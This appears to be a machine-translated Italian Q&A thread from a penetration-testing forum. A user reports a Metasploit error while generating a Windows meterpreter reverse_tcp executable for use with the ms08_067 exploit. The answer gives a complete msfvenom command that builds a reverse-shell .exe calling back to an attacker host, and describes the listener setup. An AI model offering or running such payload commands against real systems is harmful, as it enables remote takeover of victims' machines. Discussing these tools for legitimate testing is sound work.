Metasploit genera un comando che non funziona

Question

Metasploit genera un comando che non funziona

#1 da (1 voti)

0

Usando windows / smb / ms08_067_netapi exploit e windows / meterpreter / reverse_tcp come payload questo è quello che ottengo:

msf payload(reverse_tcp) > generate -f ~/Desktop/rootkit.exe -p windows -t exe
[*] Writing 73802 bytes to ~/Desktop/rootkit.exe...
[-] Error while running command generate: No such file or directory @ rb_sysopen - ~/Desktop/rootkit.exe

Stack di chiamate:

/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/payload.rb:148:in 'initialize'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/payload.rb:148:in 'open'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/payload.rb:148:in 'cmd_generate'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:430:in 'run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:392:in 'block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:386:in 'each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:386:in 'run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:205:in 'run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in 'start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in 'start'
/usr/bin/msfconsole:48:in '<main>'

Non sei sicuro di quale sia il problema. Sto gestendo Kali in una scatola virtuale. Qualcuno ha qualche idea?

penetration-test metasploit

posta Kevin G. 25.06.2017 - 21:41

fonte

1 risposta

Leggi altre domande sui tag penetration-test metasploit

Verascrypt wipe Problemi nella comprensione della spiegazione del messaggio "certificato server" in RFC 5246?

score 1 · Answer 1

Per utilizzare l'exploit ms08_067_netapi, non è necessario che Windows esegua qualcosa. Puoi sfruttarlo direttamente. Non sei sicuro del motivo per cui stai creando un file eseguibile per sfruttare questa vulnerabilità. Non è necessario.

Ad ogni modo, per creare un file .exe reverseprotp meterpreter, perché non usi msfvenom?

Fuori msfconsole, da un terminale standard. Tipo:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe > ~/Desktop/rootkit.exe

Non dimenticare di sostituire x.x.x.x con il tuo indirizzo IP. Questo indirizzo IP dovrebbe essere dell'host Metasploit che ascolterà utilizzando exploit / multi / handler mentre Windows esegue il file .exe. Anche la porta può essere cambiata, ma il 4444 predefinito è ok.